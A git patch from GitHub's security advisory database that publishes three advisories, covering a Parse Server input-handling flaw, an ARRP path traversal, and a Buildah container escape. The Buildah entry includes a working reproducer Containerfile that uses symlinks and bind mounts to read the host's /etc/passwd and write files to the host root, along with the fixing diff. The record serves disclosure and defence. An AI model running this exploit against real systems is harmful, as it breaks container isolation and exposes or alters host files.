From 95cac771db4dbab01aa410d4cc9a2c8619cf9f9e Mon Sep 17 00:00:00 2001 From: "advisory-database[bot]" <45398580+advisory-database[bot]@users.noreply.github.com> Date: Tue, 19 Mar 2024 20:08:13 +0000 Subject: [PATCH] Publish Advisories GHSA-6hh7-46r2-vf29 GHSA-cg24-jjr5-rxmf GHSA-pmf3-c36m-g5cf --- .../GHSA-6hh7-46r2-vf29.json | 88 +++++++++++++++++++ .../GHSA-cg24-jjr5-rxmf.json | 36 ++++++-- .../GHSA-pmf3-c36m-g5cf.json | 58 ++++++++++++ 3 files changed, 177 insertions(+), 5 deletions(-) create mode 100644 advisories/github-reviewed/2024/03/GHSA-6hh7-46r2-vf29/GHSA-6hh7-46r2-vf29.json rename advisories/{unreviewed => github-reviewed}/2024/03/GHSA-cg24-jjr5-rxmf/GHSA-cg24-jjr5-rxmf.json (57%) create mode 100644 advisories/github-reviewed/2024/03/GHSA-pmf3-c36m-g5cf/GHSA-pmf3-c36m-g5cf.json diff --git a/advisories/github-reviewed/2024/03/GHSA-6hh7-46r2-vf29/GHSA-6hh7-46r2-vf29.json b/advisories/github-reviewed/2024/03/GHSA-6hh7-46r2-vf29/GHSA-6hh7-46r2-vf29.json new file mode 100644 index 00000000000..9bcd2b526c3 --- /dev/null +++ b/advisories/github-reviewed/2024/03/GHSA-6hh7-46r2-vf29/GHSA-6hh7-46r2-vf29.json @@ -0,0 +1,88 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-6hh7-46r2-vf29", + "modified": "2024-03-19T20:07:35Z", + "published": "2024-03-19T20:07:35Z", + "aliases": [ + "CVE-2024-29027" + ], + "summary": "Server crashes on invalid Cloud Function or Cloud Job name", + "details": "### Impact\n\nCalling an invalid Parse Server Cloud Function name or Cloud Job name crashes server and may allow for code injection.\n\n### Patches\n\nAdded string sanitation for Cloud Function name and Cloud Job name.\n\n### Workarounds\n\nSanitize the Cloud Function name and Cloud Job name before it reaches Parse Server.\n\n### References\n\n- https://github.com/parse-community/parse-server/security/advisories/GHSA-6hh7-46r2-vf29\n- https://github.com/parse-community/parse-server/releases/tag/7.0.0-alpha.29 (Fix for Parse Server 7 alpha)\n- https://github.com/parse-community/parse-server/releases/tag/6.5.5 (Fix for Parse Server 6 LTS)", + "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H" + } + ], + "affected": [ + { + "package": { + "ecosystem": "npm", + "name": "parse-server" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "6.5.5" + } + ] + } + ] + }, + { + "package": { + "ecosystem": "npm", + "name": "parse-server" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "7.0.0-alpha.1" + }, + { + "fixed": "7.0.0-alpha.29" + } + ] + } + ] + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/parse-community/parse-server/security/advisories/GHSA-6hh7-46r2-vf29" + }, + { + "type": "WEB", + "url": "https://github.com/parse-community/parse-server/commit/5ae6d6a36d75c4511029f0ba5673ae4b2999179b" + }, + { + "type": "WEB", + "url": "https://github.com/parse-community/parse-server/commit/9f6e3429d3b326cf4e2994733c618d08032fac6e" + }, + { + "type": "PACKAGE", + "url": "https://github.com/parse-community/parse-server" + }, + { + "type": "WEB", + "url": "https://github.com/parse-community/parse-server/releases/tag/6.5.5" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-20" + ], + "severity": "CRITICAL", + "github_reviewed": true, + "github_reviewed_at": "2024-03-19T20:07:35Z", + "nvd_published_at": null + } +} \ No newline at end of file diff --git a/advisories/unreviewed/2024/03/GHSA-cg24-jjr5-rxmf/GHSA-cg24-jjr5-rxmf.json b/advisories/github-reviewed/2024/03/GHSA-cg24-jjr5-rxmf/GHSA-cg24-jjr5-rxmf.json similarity index 57% rename from advisories/unreviewed/2024/03/GHSA-cg24-jjr5-rxmf/GHSA-cg24-jjr5-rxmf.json rename to advisories/github-reviewed/2024/03/GHSA-cg24-jjr5-rxmf/GHSA-cg24-jjr5-rxmf.json index d624400dd60..3cc25956b57 100644 --- a/advisories/unreviewed/2024/03/GHSA-cg24-jjr5-rxmf/GHSA-cg24-jjr5-rxmf.json +++ b/advisories/github-reviewed/2024/03/GHSA-cg24-jjr5-rxmf/GHSA-cg24-jjr5-rxmf.json @@ -1,11 +1,12 @@ { "schema_version": "1.4.0", "id": "GHSA-cg24-jjr5-rxmf", - "modified": "2024-03-19T09:30:32Z", + "modified": "2024-03-19T20:07:18Z", "published": "2024-03-19T09:30:32Z", "aliases": [ "CVE-2024-24042" ], + "summary": "Path traversal in flaskcode Devan-Kerman ARRP", "details": "Directory Traversal vulnerability in Devan-Kerman ARRP v.0.8.1 and before allows a remote attacker to execute arbitrary code via the dumpDirect in RuntimeResourcePackImpl component.", "severity": [ { @@ -14,7 +15,28 @@ } ], "affected": [ - + { + "package": { + "ecosystem": "Maven", + "name": "net.devtech:arrp" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "0.8.2" + } + ] + } + ], + "database_specific": { + "last_known_affected_version_range": "<= 0.8.1" + } + } ], "references": [ { @@ -28,15 +50,19 @@ { "type": "WEB", "url": "https://gist.github.com/apple502j/193358682885fe1a6708309ce934e4ed" + }, + { + "type": "PACKAGE", + "url": "https://github.com/Devan-Kerman/ARRP" } ], "database_specific": { "cwe_ids": [ - + "CWE-22" ], "severity": "HIGH", - "github_reviewed": false, - "github_reviewed_at": null, + "github_reviewed": true, + "github_reviewed_at": "2024-03-19T20:07:18Z", "nvd_published_at": "2024-03-19T07:15:09Z" } } \ No newline at end of file diff --git a/advisories/github-reviewed/2024/03/GHSA-pmf3-c36m-g5cf/GHSA-pmf3-c36m-g5cf.json b/advisories/github-reviewed/2024/03/GHSA-pmf3-c36m-g5cf/GHSA-pmf3-c36m-g5cf.json new file mode 100644 index 00000000000..23500323b9a --- /dev/null +++ b/advisories/github-reviewed/2024/03/GHSA-pmf3-c36m-g5cf/GHSA-pmf3-c36m-g5cf.json @@ -0,0 +1,58 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-pmf3-c36m-g5cf", + "modified": "2024-03-19T20:06:52Z", + "published": "2024-03-19T20:06:52Z", + "aliases": [ + + ], + "summary": "Container escape at build time", + "details": "### Impact\n\nUsers running containers with root privileges allowing a container to run with read/write access to the host system files when selinux is not enabled. With selinux enabled, some read access is allowed.\n\n### Patches\nFrom @nalind \n```\n# cat /root/cve-2024-1753.diff\n--- internal/volumes/volumes.go\n+++ internal/volumes/volumes.go\n@@ -11,6 +11,7 @@ import (\n \n \t\"errors\"\n \n+\t\"github.com/containers/buildah/copier\"\n \t\"github.com/containers/buildah/define\"\n \t\"github.com/containers/buildah/internal\"\n \tinternalParse \"github.com/containers/buildah/internal/parse\"\n@@ -189,7 +190,11 @@ func GetBindMount(ctx *types.SystemContext, args []string, contextDir string, st\n \t// buildkit parity: support absolute path for sources from current build context\n \tif contextDir != \"\" {\n \t\t// path should be /contextDir/specified path\n-\t\tnewMount.Source = filepath.Join(contextDir, filepath.Clean(string(filepath.Separator)+newMount.Source))\n+\t\tevaluated, err := copier.Eval(contextDir, newMount.Source, copier.EvalOptions{})\n+\t\tif err != nil {\n+\t\t\treturn newMount, \"\", err\n+\t\t}\n+\t\tnewMount.Source = evaluated\n \t} else {\n \t\t// looks like its coming from `build run --mount=type=bind` allow using absolute path\n \t\t// error out if no source is set\n```\n### Reproducer\n\nPrior to testing, as root, add a memorable username to `/etc/passwd` via adduser or your favorite editor. Also create a memorably named file in `/`. Suggest: `touch /SHOULDNTSEETHIS.txt` and `adduser SHOULDNTSEETHIS`. After testing, remember to remove both the file and the user from your system.\n\nUse the following Containerfile\n\n```\n# cat ~/cve_Containerfile\nFROM alpine as base\n\nRUN ln -s / /rootdir\nRUN ln -s /etc /etc2\n\nFROM alpine\n\nRUN echo \"ls container root\"\nRUN ls -l /\n\nRUN echo \"With exploit show host root, not the container's root, and create /BIND_BREAKOUT in / on the host\"\nRUN --mount=type=bind,from=base,source=/rootdir,destination=/exploit,rw ls -l /exploit; touch /exploit/BIND_BREAKOUT; ls -l /exploit\n\nRUN echo \"With exploit show host /etc/passwd, not the container's, and create /BIND_BREAKOUT2 in /etc on the host\"\nRUN --mount=type=bind,rw,source=/etc2,destination=/etc2,from=base ls -l /; ls -l /etc2/passwd; cat /etc2/passwd; touch /etc2/BIND_BREAKOUT2; ls -l /etc2 \n```\n\n#### To Test\n\n##### Testing with an older version of Buildah with the issue\n```\nsetenforce 0\nbuildah build -f ~/cve_Containerfile .\n```\n\nAs part of the printout from the build, you should be able to see the contents of the `/' and `/etc` directories, including the `/SHOULDNOTSEETHIS.txt` file that you created, and the contents of the `/etc/passwd` file which will include the `SHOULDNOTSEETHIS` user that you created. In addition, the file `/BIND_BREAKOUT` and `/etc/BIND_BREAKOUT2` will exist on the host after the command is completed. Be sure to remove those two files between tests. \n\n```\nbuildah rm -a\nbuildah rmi -a\nrm /BIND_BREAKOUT\nrm /etc/BIND_BREAKOUT2\nsetenforce 1\nbuildah build -f ~/cve_Containerfile .\n```\nNeither the `/BIND_BREAKEOUT` or `/etc/BIND_BREAKOUT2` files should be created. An error should be raised during the build when both files are trying to be created. Also, errors will be raised when the build tries to display the contents of the `/etc/passwd` file, and nothing will be displayed from that file. \n\nHowever, the files in both the `/` and `/etc` directories on the host system will be displayed.\n\n##### Testing with the patch\n\nUse the same commands as testing with an older version of Buildah.\n\nWhen running using the patched version of Buildah, regardless of the `setenforce` settings, you should not see the file that you created or the user that you added. Also the `/BIND_BREAKOUT` and the `/etc/BIND_BREAKOUT` will not exist on the host after the test completes.\n\nNOTE: With the fix, the contents of the `/` and `/etc` directories, and the `/etc/passwd` file will be displayed, however, it will be the file and contents from the container image, and NOT the host system. Also the `/BIND_BREAKOUT` and `/etc/BIND_BREAKOUT` files will be created in the container image.\n\n\n### Workarounds\nEnsure selinux controls are in place to avoid compromising sensitive system files and systems. With \"setenforce 0\" set, which is not at all advised, the root file system is open for modification with this exploit. With \"setenfoce 1\" set, which is the recommendation, files can not be changed. However, the contents of the `/` directory can be displayed. I.e., `ls -alF /` will show the contents of the host directory.\n\n### References\n\nUnknown.\n", + "severity": [ + + ], + "affected": [ + { + "package": { + "ecosystem": "Go", + "name": "github.com/containers/buildah" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "1.35.1" + } + ] + } + ] + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/containers/buildah/security/advisories/GHSA-pmf3-c36m-g5cf" + }, + { + "type": "WEB", + "url": "https://github.com/containers/buildah/commit/9de9c20ff368beb84b84fe660773d352519dc1c5" + }, + { + "type": "PACKAGE", + "url": "https://github.com/containers/buildah" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-22" + ], + "severity": "HIGH", + "github_reviewed": true, + "github_reviewed_at": "2024-03-19T20:06:52Z", + "nvd_published_at": null + } +} \ No newline at end of file